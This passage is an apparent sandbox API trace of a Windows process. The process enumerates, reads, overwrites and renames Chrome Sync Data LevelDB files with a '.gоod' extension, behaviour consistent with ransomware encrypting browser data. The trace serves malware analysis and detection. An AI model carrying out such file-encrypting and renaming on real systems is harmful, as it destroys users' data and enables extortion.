ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0220.158] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0220.158] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe749ec47, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf143f155, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0220.158] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.old", cAlternateFileName="")) returned 1 [0220.158] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0220.158] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.158] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0220.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0220.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0220.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0220.159] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB", lpFilePart=0x0) returned 0x4f [0220.159] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0220.160] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.160] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x515e12a0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x515e12a0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0220.160] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0220.160] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0220.161] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe749ec47, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf143f155, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0220.161] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.old", cAlternateFileName="")) returned 1 [0220.161] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0220.161] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0 [0220.161] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0220.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0220.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0220.162] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log", lpFilePart=0x0) returned 0x5a [0220.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0220.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x37bc388 | out: lpFileInformation=0x37bc388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x515e12a0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x515e12a0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2e)) returned 1 [0220.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0220.163] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log", lpFilePart=0x0) returned 0x5a [0220.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0220.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0220.163] GetFileType (hFile=0x808) returned 0x1 [0220.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0220.163] GetFileType (hFile=0x808) returned 0x1 [0220.163] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x2e [0220.163] ReadFile (in: hFile=0x808, lpBuffer=0x37bc6a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x37bc6a0*, lpNumberOfBytesRead=0x208ed3f8*=0x2e, lpOverlapped=0x0) returned 1 [0220.164] CloseHandle (hObject=0x808) returned 1 [0220.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log", lpFilePart=0x0) returned 0x5a [0220.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0220.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0220.192] GetFileType (hFile=0x808) returned 0x1 [0220.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0220.192] GetFileType (hFile=0x808) returned 0x1 [0220.192] WriteFile (in: hFile=0x808, lpBuffer=0x3834c98*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3834c98*, lpNumberOfBytesWritten=0x208ed308*=0x30, lpOverlapped=0x0) returned 1 [0220.193] CloseHandle (hObject=0x808) returned 1 [0220.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log", lpFilePart=0x0) returned 0x5a [0220.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log.gоod", lpFilePart=0x0) returned 0x5f [0220.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0220.193] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x515e12a0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x515e12a0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7f74ca8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0220.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0220.193] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\000003.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\000003.log.gоod")) returned 1 [0220.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT", lpFilePart=0x0) returned 0x57 [0220.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0220.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\current"), fInfoLevelId=0x0, lpFileInformation=0x3835f50 | out: lpFileInformation=0x3835f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0220.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0220.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT", lpFilePart=0x0) returned 0x57 [0220.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0220.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0220.194] GetFileType (hFile=0x808) returned 0x1 [0220.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0220.194] GetFileType (hFile=0x808) returned 0x1 [0220.194] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x10 [0220.194] ReadFile (in: hFile=0x808, lpBuffer=0x3836228, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x3836228*, lpNumberOfBytesRead=0x208ed3f8*=0x10, lpOverlapped=0x0) returned 1 [0220.481] CloseHandle (hObject=0x808) returned 1 [0220.528] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT", lpFilePart=0x0) returned 0x57 [0220.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0220.528] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\current"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0220.529] GetFileType (hFile=0x808) returned 0x1 [0220.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0220.530] GetFileType (hFile=0x808) returned 0x1 [0220.530] WriteFile (in: hFile=0x808, lpBuffer=0x387abd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x387abd0*, lpNumberOfBytesWritten=0x208ed308*=0x20, lpOverlapped=0x0) returned 1 [0220.539] CloseHandle (hObject=0x808) returned 1 [0220.539] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT", lpFilePart=0x0) returned 0x57 [0220.539] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT.gоod", lpFilePart=0x0) returned 0x5c [0220.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0220.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\current"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7fa93e58, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0220.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0220.539] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\current"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\CURRENT.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\current.gоod")) returned 1 [0220.540] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK", lpFilePart=0x0) returned 0x54 [0220.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0220.540] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\lock"), fInfoLevelId=0x0, lpFileInformation=0x387be80 | out: lpFileInformation=0x387be80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0220.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0220.540] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK", lpFilePart=0x0) returned 0x54 [0220.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0220.540] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0220.540] GetFileType (hFile=0x808) returned 0x1 [0220.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0220.541] GetFileType (hFile=0x808) returned 0x1 [0220.541] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x0 [0220.541] CloseHandle (hObject=0x808) returned 1 [0220.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK", lpFilePart=0x0) returned 0x54 [0220.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0220.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\sync data\\leveldb\\lock"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0220.647] GetFileType (hFile=0x808) returned 0x1 [0220.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0220.647] GetFileType (hFile=0x808) returned 0x1 [0220.647] WriteFile (in: hFile=0x808, lpBuffer=0x3770848*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3770848*, lpNumberOfBytesWritten=0x208ed308*=0x10, lpOverlapped=0x0) returned 1 [0220.648] CloseHandle (hObject=0x808) returned 1 [0220.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK", lpFilePart=0x0) returned 0x54 [0220.648] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Data\\LevelDB\\LOCK.gоod", lpFilePart=0x0) returned 0x59 [0220.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0220.648] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync 